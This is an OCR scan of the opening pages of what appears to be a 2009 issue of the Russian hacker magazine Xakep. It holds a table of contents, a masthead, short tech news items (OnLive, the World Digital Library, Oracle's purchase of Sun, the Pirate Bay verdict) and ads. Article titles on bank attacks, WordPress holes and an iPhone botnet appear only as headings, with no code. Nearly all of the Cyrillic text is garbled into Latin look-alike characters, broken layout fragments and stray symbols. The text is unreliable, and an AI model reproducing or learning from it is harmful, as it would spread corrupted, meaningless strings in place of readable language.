Page 1

ATAKA HA 6AHKH: 6 LJ.EJlEH

<足

no BCEMY Ml4PY

eTP.50


I

CONTENT

~

~

05(125)

a

r

I

IT ---l

a

-y.

OJ 004 MEGANEWS Bce HOBoe 3a nOCne,Ll,HVliIi MeC~l\

KOAHHr 090

FERRUM 016

~ HE 3A6YAY Hl-1KOrAA CpaBHVlTenbHblili TeCT BVlH4eCTepOB 06beMOM He MeHee 1 T6

nonHblili rVlA no Mo6V1nbHblM nnaTepopMaM ,Ll,n~ nporpaMMVlCTa

096

3A06JlA4HbiE

BbI4l-1CJlEHl-1~

Cloud Computing Ha nanbl\aX

026

100

BC,KPbIBAEM SSL Bl-1PTYAJlbHA~

MAWl-1HA 3A6ECnJlATHO

Pa3pa6aTbiBaeM KnV1eHT VI cepBep

106

040

EASY-HACK XaKepcKV1e ceKpeTbl npOCTblX BeU-\eili

044

V1rpa B np"TKVI Ha ypoBHe ~Apa

• Cl>PHKHHr 110

OJ 83J10M

114

nCeB,Ll,03aU-\VlU-\eHHoCTb 6aHKOB

056

BenVlKV1i1i VI Mory4V1i1i UART

060

.SYN/ACK 120

M06l-1JlbHbl~ 60THET C03,Ll,aeM 3arOH An~ iPhone-30M6V1

BOJlWE6HbiE 3Anl-1C04Kl-1 WORDPRESS l-1Jll-1 BArOH ODAY Y~3Bl-1MOCTE~

124

X-TOOLS nporpaMMbl ,Ll,n~ B3nOMa

• CLtEHA 074

OCTATKl-1 6bIJlO~ POCKOWl-1 Me,Ll,neHHa~

o

CMepTb CV1CTeMbl E-Gold

KlHHKCOHA

078

4EMnl-10H B JlErKOM BECE n pa KTV14eCKoe pyKOBO,Ll,CTBO

no noceneHVlIO GNU/Linux Ha MVlKpOKOHTpOnJle::::

084

HOBbiE rPAHl-1 BSD D,eTanbHb!M 0630P OpenBSD 4.5 VI NetBSD 5.

BO BJlACTl-1 rl-1nEPBl-130PA Citrix XenServer: 0630P HOBOili BepcVlVI nnaTepoplv1bl BVlpTyanVl3al\VlVI

128

APEHAA OT C06CTBEHHl-1KA nOAHVlMaeM cepBVlC no CAa4e B apeHAY

npOAOn>KaeM xaK nonyn~pHeiliwero ABVI>KKa

072

HA CEAbMOM HE6E C WINDOWS SE7EN Windows 7 rna3aMV1 IT-cnel\VlanVlCTa

MeToAV1I<a nonHoro l<onVlpOBaHV1~ cailiTa

066

rJlABHbl~ l-1HCTPYMEHT

<PPl-1KEPA

0630P 3KCnJl0l-1TOB 4YAECA <Pl-1HAHCOBO~ 6E30nACHOCTl-1

OCl\l-1JlJlOrPA<P1 06y3,Ll,aili ero no-eppVlKepcKVI

CBe>KV1e y~3BV1MOCTVI OT CKB03a

050

Bl-1PM3E~KEPCKl-1E

Tl-1nCbll-1 TPl-1KCbl

JlY4Wl-1E l-1HCTPYMEHTbl nEH-TECTEPA CHVlepepbl VI pa60Ta c naKeTaMVI

TEMHOE l-1CKYCCTBO l-1rpOAEJlA, 4ACTb 4: MULTIPLAYER An" MHorononb30BaTenbCKV1X 6aTanV1i1i

6epeM Ha Boopy>KeHV1e nporpaMMY VirtualBox

036

B3nOMa cailiTOB

C nOMOU-\bIO Python

nepexBaT ,Ll,aHHbIX B 3aU-\V1U-\eHHbIX COe,Ll,V1HeHV1~X

032

KOHBE~EPHbl~ XAK no-npOrPAMMMEPCKl-1 ABToMaTVl3al\VI~

• PC_ZONE 022

KYAA nOAATbC~ TEJlE<POHHOMY KOAEPY?

BVlpryanbHblX FreeBSD-cepBepoB

134

l-1rPbl C >KEJlE3HbIMl-1 KOWKAMl-1 HaCTpaVlBaeM 60eBOv, Cisco pOYTep

KlHHTbl 140

FAQ UNITED

143

Al-1CKO

144

WWW2

60nbwoili FAQ

8,5 16

BC~KOili BC~4V1Hbl

Y,Ll,06Hble web-cepBV1cb


x

o.

022 EPROCESS

I

KPROCESS

I

EPROCESS

EPROCESS

ij

ij

106

KPROCESS

ij ~

I I

KPROCESS

ij

ij

LIST _ENTRY {

FLINK BlII'IK)

1--1

032 IPEl1AKUMSI

>PeAaKTOp Unix-pa3Aena

>rnaBHblM peAaKTop

AHTOH «AnI» A(yKOB

HlJlKlna «nikitozz» KIIlCnIllLl,V1H (nikilOz@real.xakep. ru) >BblnycKalOl1IHM peAaKTop HlIlKoftaw«gort»AHApees (gorlum@real.xakep.ru)

>MoHTa>K BMAeo

MaKCI11-\ Tpy6wlJ,b!H

>PeAaKTopbl py6pMK

83JlOM AMVlTP\lli1«Forb» AOKy4aee (Iorb@real.xakep.ru) PC ZONE" UNITS CTe-naH «step}) Vinb!ilH (slep@real.xakep.ru) UNIXOIO, SYN\ACK" PSYCHO AHApe~ «Andrushock» ivlarsees (andrushock@real.xakep.ru)

IPUBLISHING

{gameJlanll >Y"IpeAHTenb

000 «reI1M Jl3HA»

119021, MocKsa, yn. TI1Mypa <DpYH3e.

11. 11, op. 44-45

Ten.,. 71495) 935- 7034

<DaKc'714951780-8824

KOAVlHf

>feHepanbHblM AMpeKTOp

AMl-lTpHtII ArapyHoB

>YnpaBnAIOl1\M" AMpeKTOp

,D,aBYIA WOCTaK

>AHpeKTop no pa3BMTMIO

Ane",caHAP «Dr. Klouniz» n030BCKl1i1 (alexander@real.xakep.ru)

>l1HpeKTop no nepcoHany

<DPVlKVlHf Cepre~ «DLinyj'J,l.1,ol1\<lH

nawa POMaHoBcKVI~

1'v1I'lXa\l\fl CT~naHoB

(dI1nyj@real.xakep.ru)

>(J)MHaHcoBbIM AKpeKTop

Ta"b~Ha ry,ne6CKati

>nMTepaTYPHbIM peAaKTop A,,·-nnpI111 nl=lw,eHKo

>PeAaKI.l.MOHHbIM AMpeKTop

AM\I\Tp.'1C1 Jlaj],bl;t;eHCKv,i7j

(Iyashchenko@gamelancl.ru)

>PR"MeHeA>Kep HaTaJlb51 JlmBI'lHOBCKas:l

IART >ApT-AMpeKTop

EareHIo'IM HOBIIIK08 (novikov.e@gameland.ru) >BepCTanbUlMK Bepa CBeTJlblX (svettyh@gameland.ru)

lOYD >BbInYCKaIOIJ.f,HM peAal<TOp CTenaH «Step» VlJlbV1H (s lep@real.xakep.ru)

>l1MpeKTop no MapKeTMHry

AMHTP'1~ nntOUleB

>rnaoHblM AM3aKHep

3HI1~ TepH6yl1n

>AMpeKTop no npOM3BOACTOY

Cepre~Ji KyyepflBbl(l,

IPEKnAMA I Ten" 14951935-7034, <!laKe, 14951700-0024 >l1MpeKTop rpynnbl GAMES & DIGITAL EBreH~~ rop~\.{eBaigoryacheva0gameland .ruJ >MeHeAmepbl Ollbra Et.tenbs:lHLI,0Ba

Mapl1f1 HeCTepoB8 MapHfI H11Kor.aeHKo MaKolM Co6ones HaAe>KA8 rOH4apoe8

3apen1CTp14pOSaHO B M14HII1CTepCTB€ POC01l1Ct:oi;' <De,n.epatlY1III no AenaM ne4anl, renepaALolosew,aHl-UO lI\ cpegCT6aM MaCCOBblX KOMI.1YH\1Kau,M~i nVl q 77·11802 OT 14

HaTaflbfl MI-1CTIOKOSa

<peBpa". 2002 r.

>AAMMHMCTpaTop

OTne4BTaHO 8 nmOrpa¢\o'1V1 ((Lieluvas Rivas», flt1TBB. 1l-1pa>:< 100000 3K3eMnJl51poB. WeHa AorOBopHil51.

~\ilapI1$1

5ywesa >Pa6oTa CpeKnaMHblMM areHTCTBaMM JlLolALol51 CTpeKHesa [strekneva0gameland.ru) >CTapwMH MeHeA>Kep CBeTnaHa nll1H4YK >CTapwMil Tpa<!lMK-HeHeAlKep Mapb51 AneKceeBa

IOnTOBASI npOl1A>KA >l1MpeKTop oTAena AMCTPM6YllMM

C enaHOB

(andrey@gameland.ru)

>PyKoBoAMTenb MOCKOBCKoro

HanpaBneHMR

Onbra ASBanbA

(devald@gameland.ru)

>PYKoBoAMTenb perMoHanbHoro

HanpaBneHMR

TaTb$1Ha Kowefleea

(kosheleva@gameland.ru )

>PYKoBoAMTenb OTAena nOAnMCKM

Mapll1Ha rOH4apoBa

(goncharova@gameland.ru)

Ten.' (495) 935.70.34

cPaKc: (495) 780.88.24

> rOpR"4aR nMHMR no nOAnMCKe

Ten .. 8 (800) 200.3.999

5ecnnaTHo ,Qn51 380HRLUtlX 1-13 PCCG.·.'

>AnR "I4CeM

AHApe\~

101000, MocKsa,

rfla8n04Ta~,tT, ah.

652, XaKep

MHeHLole peAaKu,Io1Lol He 06513aTeflbHO cosnaAaeT C MHeH~eM aBTOpOB. Pe.adKUI1Sl yaeAoMn5leT: Bce MBTeplo1aJ1b1 B HOMepe npeAocraBJl5llOTC5I KBK ~1H¢opMau,liI51 K pa3MblwneHIo1IO. Jl~1u,a, VlCnOJJb3ytaUJ,1'1 AaHHylO j.1HcV0PMBU,I.,JO B np0ll1803aKOt-ltiblX uellSlX, MOryT 5b1Tb nplo1Bne4eHbi K om8TCTBeIlHOCTI1. PeAaKlJ,Vifl B 3nlX CllY4BflX OTaeTCideHHOCTI-1 He HeceT. PeAaKLJ,LolR He HeceT O'TaeTcTBeHHDcnl 3a CO,lJ,ep>KaHlIle peKJlaMHblX 06MI8JleH~~ 8 3a nepene4aTKY Haw,.,x MaTep~aJlOB 6eJ.-enpoca - npecJle,lJ,yet-1.

HOMepe.

no BonpOCat.1 mll.J,eH3I-1pOBaH~~ npas Ha ~cnonb30BaHv.e

11

nO)1'14eHlr\~

Ma­ Tepl-1a1l0B ;-KypHana o6paw,aiitTecb no a.D.pecy: conlent0gameland.ru

(f:

peAaK4~1Ot-IH!:IIX

000 «re~M Jl:~HA~>, P<D, 2009

npaSMnbHblM aBTopOM CTaTbM «ATaKa WordPressH B MapToBcKOM HOMepe RsnReTCR Magg. PeAaKLI,KA npMHOCMT M3BMHeHMR 3a oWH6KY.


~.

r

~

~ ~-­

0 - - - - - --.- -

I

I

7 'f

r-

r--'1

~

I--

I

VU

-

-

MAPi-l~ «MIF~ILL»

I

I

-

I---'

x

-

-= I U .--I ] --

..........-r---

J

I W

----r--

I]

~ 1

~

I

T

1..-

~

,.-

I r--'1

..........-r---

I W ...........---

~

I--

FiL

....-

~

II

-

I--

= -= 1 W

"I

I

r0-

I--

.---

1J

I

--

-=

~

r::

i"-

-FiL

~L

I

W

I

W-

II

f--

...........---

f--

1

W

050 BCEM 3A nocllEAHH'1 MEC5IU

HE<DEIlOBA / MIFRILL@REAL.XAKEP.RU /

rysis Ha H'eT6yKe y>Ke peanbHOCTb

c

Apa~BepaM~ ~ HacTpoi1KaM~1

To, 4TO COBceM HeAaBHO Ka3anOCb Me4TaM~,

CKOpO CTaHeT peanbHOC­

KOMnaH~I~

TblO.

On Live y>Ke

n04T~

W~POK~i1: An~

SO - 1.5Mbps,

a AJl>l HD 11280pl- 5Mbps. Ho CTO~T cKa3aTb, 4TO B OnLive pa3pa60Tan~ CBOIO TeXHono-

rOTOBa npeACTaBVlTb HaM HOBbli1

r~1O C>KaTVI~ AaHHblx. 3aAep>KKa

~rpoBoi1 cepB~c

COCTaBn>leT nOp>lAKa

Ha3BaH~eM,

HblM Ha

np~HI..\~ne

Ll1~Ka

OAHO~MeH-

nOCTpoeHHbli1

06na4HOV,

AaHHbIX. To eCTb, MOLl1HOCT~

c

06pa60TK~

<paKT~4ecK~e

HaXOA>lTC~

y nOCTaB­

ycnyri-l, a nonb30BaTenIO

~

narOB He

M~nn~ce­

npeAB~A~TC>I.

Bbl60p ~rp, CYA>I no BceMy, 6YAeT He Man y>Ke

cornaWeH~>1

nOAn~canH

c OnLive

Electronic Arts,

Eidos, Atari, WarnerBros ~ ApyrVle B~AHble npeACTaB~Ten~

Bce

npeAoCTaBn~eTc~

npaBI~a, 6blno 6bl 3AOpOBO,

KaK

~HTepHeT-CepB~c.

ecml 6bl caMble nocneAH~e

paTb, nOHaA06~Tc~ n~Wb 6pay3ep

A~TC>l B 3aKpblToi1 6eTe. OTKpblToe

~

~

TecTVlpoBaH~e

Tpe60BaTenbHbie K >Kene3Y

YAaneHHo,

KyHAbl

Lh06bl

no~r­

yCTaHoBneHHbli1 nnarHH On Live.

~rpbl MO>KHO 6blno 6bl 3anycKaTb

An~ >KenalOLl1V1x raMaTb He Ha nK,

rei1MAeBa.

Ha AaHHbli1 MOMeHT npoeKT Haxo­ Ha3Ha4eHO Ha neTO

[no aApecy WWI/o{ onlive.CQffi Aa>Ke

Ha m060M KOMnblOTepe, npaK­

a Ha TB, 6YAeT B03MO>KHOCTb np~­

MO>KHO 3an~CaTbC>l1. Pen~3 YTex~

T~4eCK~ MrHOBeHHO? np~TOM,

06peCT~ HeAoporylO np~cTaBKY

3annaH~poBaH Ha KOHel..\ 2009

6e30 BC~K~X anrpe~AOB, np06neM

CaMO c060i1, KaHan

nOTpe6yeTc~

roAa.

o AAHHblM KOMnAH~H 51H.Q.EKC,

PYCCKO~ 6nOrOC<DEPE Y>KE

nOABMHbCH.. Europea

B~pTyanbHble ABep~

peCHoro npoeKTa -

OyeHb

~HTe­

BceM~pHO~

7.4 MHnn~OHA 6nOrtlB. 6.9 MJlH. f.1~

HOTbl, 3anVlCV1, cPV1nbMbl, CHlI1MKV1,

Te>KVI. 3TO HaCTO~Ll1~i1 npa3AH~K

Digital Libraryl - pacnaxHymKb

Ha ynVll..\e nlO6HTenei1 ~CTOPVlVlI Cal~T

21-ro anpen~. \!1AelO C03AaH~~

pa60TaeT Ha

pecypca eLl1e B 2005 rOAY nOAan

KOTOpblX eCTb ~ PYCCK~i1. Aa-Aa,

ceM~ ~3bIKax, cpeA~

A~peKTOp 5~6n~oTeK~ KOHrpecca

KaK H~ CTpaHHO, Pocc~~ TO>Ke Y4aCT­

CWA A>Kei1Mc 51~nn~HrTOH, a Me>K­

ByeT B 6naroM HaY~HaH~~. Ha '!'!':I::i'tL

AYHapoAHble

:tlill..2£g Hawy CTpaHY npeACTaB­

opraH~3al..\~~

BpoAe

ee

nOAXBaT~n~.

CYTb npocTa ­

n~101 PoccVli1cKa~ Hal..\~oHanbHa~ 6~6nHOTeKa ~ Pocc~i1cKa~

CBeCT~ BoeA~HO KaK MO>KHO 60nbwe

10cYAapCTBeHHa~ 6~6n~OTeKa.

6~6n~oTeK, apx~BoB ~ ~>Ke c HW~H,

Jl1060nbiTHO

c06paB Ha OAHOM

ca~Te npaKT~­

4eCKVI Bce KYnbTypHoe

HacneA~e

M~pa. K «HacneA~IO» OTHeCnVl pYKOn~c~,

~ 004

KapTbl,

peAK~e KH~r~,

PA3nHLfHbiE C006UJ,ECTBA.

<pOTorpa<p~~ ~ apX~TeKTypHble 4ep­

1..\~<pPOBOi1 6H6mlDTeK~ IWorld

IOHECKO, OOH ~ WDJlA c paAocTblO

HlJ1Y -AHEBH~KIII, OCTAnbHOE­

pOBaH~~

~

TO, 4TO B <p~HaHc~­

Y4aCTBYlOT

IT, KaK Google

BblAenVln~ WDL

BTopble -

TaK~e

rViraHTbl

~ Microsoft. nepBble

3 MnH. AonnapoB,

M~nnHOH.

XAKEP

05 /125/ 09

J


"I

II

1..'" :"

.

"'­

.>.-" m,eg.:.ne\'lS.

+ nHweM I

~On'bWe.

We~@bICT

Blu-raYAVlCKVl BCe nflOTHee BXOA51T B HaW 6blT, ill npOVl3BOAVlTeflVl >Kefle3a He OTCTafOT, nOCTaBfl515160flee COBepweHHble yCTpoiicTBa Afl51 Y1X YTeHY111 Y13anVlCY1. TaK, KOMnaHY151 Pioneer npeAcTaBVlfla HOBbl~ np~BoA nOA HOMe­ pOM BOR-2203, CnOAAep)l(Koii Blu-ray, OVO \'1 CO, K KOMnbloTepy HOBVlHKa nOAKflfOyaeTC51 Yepe3 Y1HTep<j>eiic SATA IflaBHoe AOCTOY1HCTBO - npVlBoA YMeeT3anY1CbIBaTb ABYXCJ1O~Hble BO- R Ha CKOpOCTVi 8x, Vi 63Kan 50 16 6YAeT 3aHVlMaTb np~MepHo nOfl'laca, BMeCTe C«pe3aKoM» nOCTaBfl51eTCI1 naKeT nporpaMM CyberLink, OAHaKO L\eHbl Ha «YYAeca TeXHI'IKI'I» no-npe)l(HeMy OCTafOTC51 KycaYVlMI'I. B CWA3a HOBY1HKY npI'IAeTC51 OTAaTb 250 AOflflapOB, a YTO 6YAeT Ha POCCI'I~CKOM pblH Ke - MO>KHO TOflbKO npeAnonaraTb,

B EBPOnE FACEBOOK -

COl.l~AnbHASI

1. ABPOCCHH OHA HAXOA~TCSI nHWb HA 7-M MECTE

CETb I~g

P v

3aMe'laTenbHblXnlOAeH f'I

C orpOMHoii CKOpOCTbfO CepBYlC Afl51 MYlKp06flOrrl'lHra Twitter Hapall\YlBaeT

~ 1t<S~I~..~r"ft1

nonyfl51pHOCTb, CeroAHI1 twitter-aKKayHTbl eCTb y MHorY1X 3HaMeHYlTOCTeii, 6J1or AMI1TPI1>l MeABeAeBa /

''''e

~ 111.. " ...."'. l'

~V~:-;'l' I

to

OT 5PYlTHY1 CnYlpCAO 5apaKa 06aMbl, HO HaCTOI1ll\~ii peKopAYAaJlocb nOCTa­ BYlTb TefleBeAYll\eii Onpe YY1H<j>pY1. Onpa o<j>opMY1na nepBblii noCT 17 anpefll1, Yl y)l(e Yepe3 2 yaca y Hee 6blno 100,000 ¢ofloBepoB [aka APY3eii-YYlTaTefle~1. Ha TeKYll\l'Iii MOMeHT 3Ta L\Yl<j>pa BblpOCfla B n51Tb pa3 - y Onpbl y)l(e 505985 «nocfleAoBaTeneii», MY1cCYlc YYlH<j>pYl TaK nonyfl51pHa Ha 3anaAe, YTO BAeHb ee pervlCTpaL\Yl~ nOCell\aeMOCTb Twitter nOACKOYVifla Ha 24%. ,[(Ofl)l(HO 6blTb, TbIC51YI'I AOMOX0351eK pellJl'lflVl nocneAOBaTb npYlMepy KyMl'lpa, nOCMoTpeTb <j>eHoMeH CBOViMVi rna3aMY1 MO)l(HO Ha www.lwiltercom/Oprah. A B POCC~Y1 npe3YlAeHT CTpaHbl peWY1fl 3aBeCTYl >I<>K He ceKpeT, YTO )lMl-1T­ pYlii AHaTOflbeBwl C2008 rOAa BeAeT BYlAeO-6flor Ha kremlinru, nepeHeCTYl 6flor rnaBbl rOCYAapCTBa Ha He3aBVlCl-1MYfO nfloll\aAKypeWl-1fll'l Y13-3a npo­ 6fleM KpeMfleBCKOro caiiTa ITOT He CnpaBfll1eTC51 CHanflblBOM nOCeTI'ITefleii,

~

Aa \'1 CKOpOCTb 06pa6oTK~ KOMMeHTap~eB OCTaBfll1eT)I(eflaTbflY'lwero) Cep­

!""~1lG

~

00_

.. &.ma- balwunt:t ~ Du

BYlC LiveJournal6blfl Bbl6paH KaK Hal'l60flee nonyfll1pHal1 B pyHeTe nflOll\aAKa Afl516flOrrI'lHra. 6nor 3aperY1CTpYlpOBaH KaK coo6ll\ecTBo ~ pacnOnO)l(eH no aApecy http://communily,livejollmaLcQm/blog medvedev. BeAYT ero, pa3yMeeTCI1, MOAepaTOpbl. Ha >K>K npe3YlAeHTa 3a npoweAwl'le HeCKOflbKO AHeii nOAnl~caflOCb 60flee 5.5TbIC\1Y 'leflOBeK, XOT51 «HaYYlHKa» >KypHafla­

MHnnHapAOB! npOAaHO!

He 60flee yeM KpoccnOCT 1'13 WWW bLog.krem\in.ru.

\1BHO 6YAeT AaneKO Y1AYll\l'Ie, B pyKax Oracle Tenepb, no CYTVi, cocpeAO­ TOyeHbl MOHOnOnVl51 Ha TeXHonor~fO Java l-1 pa3pa60TKVi Sun B 06flaCTI'I

B npOWflOM HOMepe Mbl nVlCafll'l OTOM, YTO KOpnOpaL\~I1IBM, Ka)l(eTCI1,

>Kefle3a 1

He npOTI'IB npVl06peCTY1 Sun Microsystems, CflYX\'1 nOATBepA~fl~cb­

npeAflO)l(eHl'le 0 nOKynKe Sun 3a nOYTI'I 7 MflPA, AOflflapoB AeiiCTBmeflbHo

6blflO oTBeprHyTo nOCJleAHI'IMY1. Ho nOCfle OTKan, Bbl3BaHHoro, CYA51

no BceMy, HeAoCTaTOYHO xopoweii L\eHoii, aKL\I'I~ Sun He npoCTO «nOWflVi

BHI'I3», a 6yKBaflbHO PYXHYfl~ Ha 25%, TaK YTO, HOBoe npeAflO)l(eH~e,

nOCTynVlBwee y>Ke OT KOMnaHVlVl Oracle, npl'IWflOCb BeCbMa KCTan1. OAVlH

1'13 KpynHeiiwVlX MVlPOBblX pa3pa60TYY1KOB B 06flaCTVl CI'ICTeM ynpaBfle­

HY111 6,[( npeAflO>KVlfl Sun 9.5 AOflflapoB 3a a KL\Y1 fO. 3TO Bcex nOflHOCTbfO

YCTPOVlflO. OyeBVlAHO, B Sun nOH51flVi, YTO BpeM51 ToprOBaTbC51 npOWflO.

CAenKy nnaHl'lpyfOT O<j>0PMI'ITb OKOHyaTenbHO y)l(e 3TI'IM fleTOM, a VlTOrOBa51 cyMMa COCTaBVlT 5.6 MVlflflYlapAa AonnapoB Ic yyeTOM AOflra KOMnaHY1Y1­

un

microsystems

7.4 MflPAJ K YeMy npViBeAeT CflVi51HYle, nOKa>KeT BpeM51, HO nOCfleACTBYl51

~ 006

XAKEP 05 /125/ 09


DEPO Neos 630 Ha 6a3e YeTblpeXb5'lAepHOro npoweccopa Intel® Core™2 Quad c TeXHonorVleLil vPro™ ­ npeAcTssVlTenb HOSOro nOKOneHVl5'l KopnopsTVlsHblX nK, o6ecneyVlslOll.lVlX VlCKnlOYVlTenbHYIO npOVl3soAVlTenbHocTb VI pesnbHylO MHor03SASYHOCTb An5'l PS60Tbi 6V13Hec-npVlnO>KeHVlLII VI nOAAep>KVlSSIOll.lVlX VlHTerpVlpossHHble snnspSTHble epyHKWVlVl ynpssneHVl5'lVl 6e30nSCHOCTVI C Vlcnonb30SSHVleM TexHonorVlVllntel® vPro™.

• npoLleccop Intel® Core™ 2 Quad • nOAJllllHHa5'l Windows Vista® Business • 06beM onepmVlBHoVi naM5'lTVI ,qo 4 r6 • 06beM ,qlllCKOBOro npocTpaHcTBa ,qo 1 T6 • IIlHTerplilpoBaHHblVi rpaepw-lecKlilVi a,qamep lIIm1 BHeWH5'l5'l BlII,qeoKapTa • B03MO>KHOCTlil y,qaneHHoro MOHlilToplllHra 1II a,qMlIIHlIIcTplilpOBaHlII5'l • Tplll BaplilaHTa VlcnOnHeHlII5'l MidiTower, MiniTower, Small Form Factor • Bbl60p KOHeplilrypaLlll1l11

VI

pa3Mel..l..leHlIIe 3aKa3a Ha caViTe

3aw.~Ta. YnpaBl\eH~e.

• np01ll3BO,qCTBO no,q 3aKa3 B TeLfeHlIIe Tpex pa6oLfll1x ,qHeVi

Mbl "K CRERAR"l RRR BACl KOMnaH~R

DEPO Computers, Tell. (495) 969-22-22, www.depocomputers.ru

Intel, JlOrOT~n Intel, Intel Core, !ntel vPro, COfe Inside" vPro Inside RBniUOTCR TOBapHblM" 3HaKaMl>l KOpnOpaL\"" Intel B CWA

It,

APyn1x CTpaHax. PeK.naMa


'}',;,j -

L

Ime.1gane;v.i'!SE

*.. ,.~

I---

~_.

-

~..

-

~

....

J\

r

HOBblM CBOAHHblM OXna>KAeHHeM Heycnella KOMnaHV1~ AMD

0AV1H cnOT 101 npV1 3TOM rapaHTV1pyeT

CAellaTb

OTnV1YHYIO np0V13BOAV1TenbHOCTb

a BblnycKe

3a~BlleHV1e

«caMO~ 6bICTPO~ B MV1pe ~rpOBO~

B 3D, B COYeTaHvIV, C3<jJ¢eK­

3D-KapTbl B KaTeropV1V1 AO $260"

TV1BHbIM Tenlloo6MeHoM [Ha 20

IATI Radeon HD 4890), KaK KOp­

rpaAycoB L(enbcV1~ 3<jJ¢eKTV1BHee

nopallV1~ TUL y>Ke npeAcTaBV1lla

B03AYWHbiX cV1cTeM) K TOMy >Ke,

ny6nV1Ke CBO~ npoAyKT Ha 6a3e

6naroAap~ H20. CTallO B03MOJKHO

HOBoro GPU. KapTOYKa, nonYYVlB­

nOBblCV1Tb yaCTOTbl GPU 101 naM~T~,

wa~ Ha3BaHV1e PowerColor LCS

KOTopble paBHbl 900 101 1000 M rll

HD4890, He MO>KeT He nOHpaB~Tb­

[4000 Mrll), COOTBeTCTBeHHO.

C~ re~MepaM

06beM naM~TV1 HOBV1HKV1 COCTaB­

KIlV1He~Ke

- OHa

OTHOC!ATC~

n~eT

PowerColOl' Liquid

Cooling Solution [TO eCTb, V1MeeT

(~t.,. "'-'lJi'" ~i;

,\,,_,(~T'." ~

ilt.jIl11'!1;'

\I~"f

1

1 1-6IGDDR5) Ho 3a Bce

Hy>KHO nnaTV1Tb, n03ToMY lIeHa

CV1CTeMY BOA~Horo OXlla>KAeHV1~).

PowerColor LCS HD4890 paBHa

BV1AeOKapTa3aHV1MaeTTonbKO

yJKe He 260, a $339.

~t

WBEACKHH HAl.lI10HA11bHbl~ MY3E~ HAYK1-11-1 TEXH0110rl1~ BbIKyn1-111 y n011l11.1HH CEPBEPTHEPIRATEBAY.ORG 3A $2431-1 BbICTABl111 Ero BKAlIECTBE OAHoro 1113 <~1It306~ETEHl-1~.1.IflJlbHEE; BeE. 0 n06JIH~SWv1X l""nU·I~ Hb 11 toJlEVI ».

CHna YO&

YOll(iJ!}EDU -

~-

.--..•,._- - - -•• I '­

.'i ";'

$ __ i

_~"l;_."

I

.,

. 'I~,

LX:

,...

~

o l

~~m

EcnV1 HOBOCTb 06 OTKpbITV1V1 BceMV1pHo~ lIV1¢PO­

Vl MHorV1e ApyrV1e. KOnV1yeCTBO ponVlKOB, Bblno­

BO~ 6V16nV1oTeKV1 nopaAyeT ntOAe~, YBneyeHHblX

>KeHHbIX 0AHVlM yye6HbiM 3aBeAeHV1eM, nopo~

v1CTopV1e~.

AocTVoraeT HeCKonbKVlX COTeH. 3pV1TenlO Aa>Ke

TO HOBOBBeAeHV1e Ha BV1AeO-XOCTV1Hre

You Tube npV1AeTc~ no Aywe BceM, KTO T~HeTC~

npeAnaralOTC~

K3HaHV1~M. Tenepb no aApecyvwJW,youlube comledu MO>KHO HaVtTVl BV1AeO-lleKlIVlV1 101 06yYalO­

Ha TeMy, HanpVlMep, nV1HeVtHOv. anre6pbl V1nVl AV1¢­ ¢epeHlIVlanbHblx ypaBHeHVlv. 1VI caMoe rnaBHoe

ll\V1e MaTepV1anbl OT nyyWV1X MV1POBbIX KOlllleAJKev.

- Bce 3TO BenV1KonenV1e cOBepweHHo 6eCnJlaTHO,

101 YHVlBepcV1TeToB. 3Aecb npeACTaBneHbl 101 MIT,

101 nOTpe6yeT, pa3Be YTO, 3HaHV1~ aHrnVlVtCKOro

101 CT3HA¢oPACKIo1Vt YHV1BepcV1TeT, 101 5epKnV1,

~3blKa

Mbl yJKe He pa3 ynoMV1HanV1: He Bce

nOIlI~lIV11O

101, BOJKIo1AaHV1101 CTpa>Ke~

nop~AKa,

rpYAblO BCTallV1 Ha Bbe3Ae

nnaHeTbl 3eMn~ CyaCTfll'IBbl,

YTO Google CHV1MaeT VlXAOMa co cnYT­

BAepeBHIO. YBV1AeBTaKo~ pewlo1Tenb­

HV1Ka, a no yll 101 lIaM ropoAoB KOlleCV1T

Hbl~ OTnOp, BOAV1Tellb rymo-M06V11l~

ryrIl0-M06V1llb. HeKoTopble AaJKe nbl­ npaBo «KopnopallV1V1

3na» ny61lV1KoBaTb CHV1MKV, V1X>K~llb~

He CTall Aonro AyMaTb, a nonpocTy pa3BepHYllc~

101 yexan. VI TonbKO cnyCT~

HeKoTopoe BpeM~ HacelleH~e 5poYTo­

BGoogle Maps Yepe3 CYA, HO 1013 3TOro

Ha nOBeAano npecce, YTO, OKa3b1Ba­

HV1yero He BblWIlO. LJTO >K, COBeTyeM

eTC~, 3a nocneAHV1e 1.5 MeC~lIa y HIo1X

101M 6paTb npV1Mep CJK!ATelle~ ManeHb­

BAepeBHe npoV130wllO TpVl cepbe3Hbix

KO~ aHrnV1VtCKO~ AepeBywKV1 5pOYTOH.

Kpa>Klo1. nepcneKTIo1Ba ny6nlo1KallV1101

5AmenbHbie aHrlll~YaHe, np~MeTV1B

BGoogle Maps ¢OTorpa¢V1~, o6ner­

MawV1HY CKaMepOVt Google Street

yalOll\V1X >K1013Hb V16e3 TOro 06HameB­

View Ha 60pTy, nOAH~IlV1 Ha HorV1 Bcex

WIo1M BopaM, MeCTHblX COBepweHHO

coceAe~,

He 06paAoBana.

~

008

.

YXOAM

>K~Tenvl

Talll~cbocnopV1Tb

rOTOBble nllev.nV1CTbl CKypcaMVl

BOOp}I)KV1IlV1Cb, Bbl3BanV1

XAKEP 05 /125/ 09


I

>"~ _;rn(eg~nt-\\ ..,s, --­ --­ -,

T ,Henb3R OMMnOBaTb K,OllbMe 17-ro anpell>l 6blll BblHeceH np1l1rOBOp no ,nelly : -,·ilH,n.bl TpeKepa The Pirate Bay [0 caMOM npoLjecce Mbl no,np06HO :2ccKa3bIBalll-1]. V1 XOT>l BnepBble B 1I1CTOP1l1111 Ka3a1lOCb, 'ITO 60PLjbl ,3 CB060,ny 1I1H¢OpMaLj1l1111 MOI'YT Bbl1l1rpaTb, yy,na He np01l130W1l0. Bce -::~ 3,nM1I1HOB TpeKepa 111 61113HecMeH Kapil JlyH,nCTpeM, BIlO)l(vlBW1I11,i

,"", x,neHbr1l1111 npe,noCTaB1I1BW1I1~ XOCTVlHr, np1l13HaHbi B1I1HOBHblM1I1 = :0,nel,icTB1I1111 HapyweH1I1tO KOn1l1pal,iTa. Cy,n TaK)I(e nOCTaHOB1I11l, 'ITO 06­ =.'K>leMble ,nel,icTBoBallVi KaK npeCTynHa>l rpynna 111 npeKpacHo 3Ha1l1l1, --) cnoc06CTBytOT pacnpoCTpaHeH1I110 MaTep1l1a1lOB, HapywatOw1l1x ~3TopcK1I1e npaBa. Bce 3TO n03BOll1l11l0 KllaCC1I1¢1I1Lj1l1pOBaTb 111 X B1I1HY,

